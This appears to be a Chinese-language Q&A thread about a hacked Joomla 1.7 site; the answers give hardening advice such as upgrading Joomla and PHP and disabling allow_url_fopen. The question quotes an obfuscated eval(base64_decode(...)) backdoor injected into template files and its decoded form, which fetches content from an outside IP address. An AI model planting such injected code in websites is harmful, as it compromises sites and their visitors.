Php 网站后门&;eval()

Php 网站后门&;eval(),php,joomla,joomla1.7,Php,Joomla,Joomla1.7,我正在运行一个Joomla 1.7网站,它今天被黑客入侵了。下面的脚本进行了黑客攻击 eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZ

我正在运行一个Joomla 1.7网站,它今天被黑客入侵了。下面的脚本进行了黑客攻击

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));
上面这一行被注入到templates文件夹的我的
index.php
文件中。文件夹中的每个模板都有上述代码。在每个文件中都重复了几次

当我解码代码时,它会输出

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI'])); 
我删除了脚本和网站恰好工作良好。脚本并没有做任何不好的事情,只是站点根本并没有加载

我的问题是,即使我将文件权限设置为644,文件夹权限设置为755,怎么会发生这种情况

我怎样才能找出问题的原因?我应该采取什么措施来防止将来发生这种情况

更新
这非常有用

它不是从文件系统读取文件,而是直接从外部URL读取。您可以通过php.ini设置禁止读取php中的任何外部URL:

allow_url_fopen = 0

你运行的Joomla 1.7站点怎么样?Joomla 1.7不再受支持,自发布以来,Joomla中添加了多个安全修复程序。您应该立即升级到2.5.9。应该没有向后兼容性问题,因为2.5.9只是Joomla 1.7的长期支持版本

检查您的PHP设置是否符合Joomla安全检查表中的建议。确保您的PHP和MYSQL版本是合理的最新版本(至少PHP5.3.x-最好是5.4.x,MYSQL至少是5.0.4)

最后,确保所有扩展都是最新的。同样,开发人员不断更新模块,不仅是为了添加新功能,也是为了添加额外/改进的安全性,或者是为了防止发现漏洞


另外,请不要像Steven所说的那样打开allow_url_fopen,这将导致Joomla的一键更新停止正常工作。

根据您告诉我们的,不可能查明黑客的原因,但最可能的原因(几乎可以肯定)是您正在运行某些软件的旧版本,他们知道黑客能够攻击的安全漏洞

  • 检查您的PHP版本:如果它低于v5.3.21或v5.4.11(即当前版本),则可能存在安全漏洞。如果它是v5.2或更低版本,那么它肯定是易受攻击的(5.2已经两年没有得到支持了)。如果您的主机提供商的PHP版本不是最新的,那么您需要麻烦他们修复它。如果他们不修复它,你需要找到一个更好的主机

  • 检查你的joomla版本:它是最新的吗?您提到它是v1.7:这不是1.7一年半前发布的最新版本。目前的版本是2.5和3.0。这意味着你几乎肯定有安全漏洞,这意味着你可以被黑客攻击。从1.7升级到2.5可能会很痛苦,但如果您想安全,就必须这样做

保持您的软件最新是您可以在网站上做的最重要的事情之一,以确保其安全。这不是可选的:如果你想避免被黑客攻击,你需要保持最新,并且你需要不断关注新版本——新的安全漏洞总是被发现。一般来说,当发现新的bug时,大多数高质量的软件都会很快得到修复,但您有责任在服务器上安装修复版本,否则bug仍然会存在,并且很可能会被黑客入侵


还有其他方法可以让你被黑客攻击;让我们不要低估他们;他们中的大多数都在你的控制之外。保持您的软件版本更新是您的头号最佳防御。

我怎么才能知道是哪一种呢?嗯,被您的托管服务的其他用户黑客攻击是最不可能的原因。软件中的漏洞或使电脑感染病毒是更常见的原因。@Dasun大多数Joomla网站都是通过易受攻击的第三方扩展受到黑客攻击的。检查您安装的扩展,查看每个扩展,看看您的版本中是否存在已知的漏洞。这也将禁用twitter和facebook插件。我有一个“喜欢”按钮和一个“跟随”按钮。因此,这不是一个选项。它不会禁用Twitter和Facebook按钮。对外部URL的请求是由用户自己直接发出的,而不是您的服务器。这就是Twitter和Facebook按钮知道谁在点击它们的方式。这将阻止Joomla的一键更新工作!allow_url_fopen=0也将禁用twitter和facebook插件。我有一个“喜欢”按钮和一个“跟随”按钮。所以这不是一个选项。是否有从1.7到2.x的升级路径?是的。您只需进入Joomla更新管理器。这里还有完整的文档页面说明: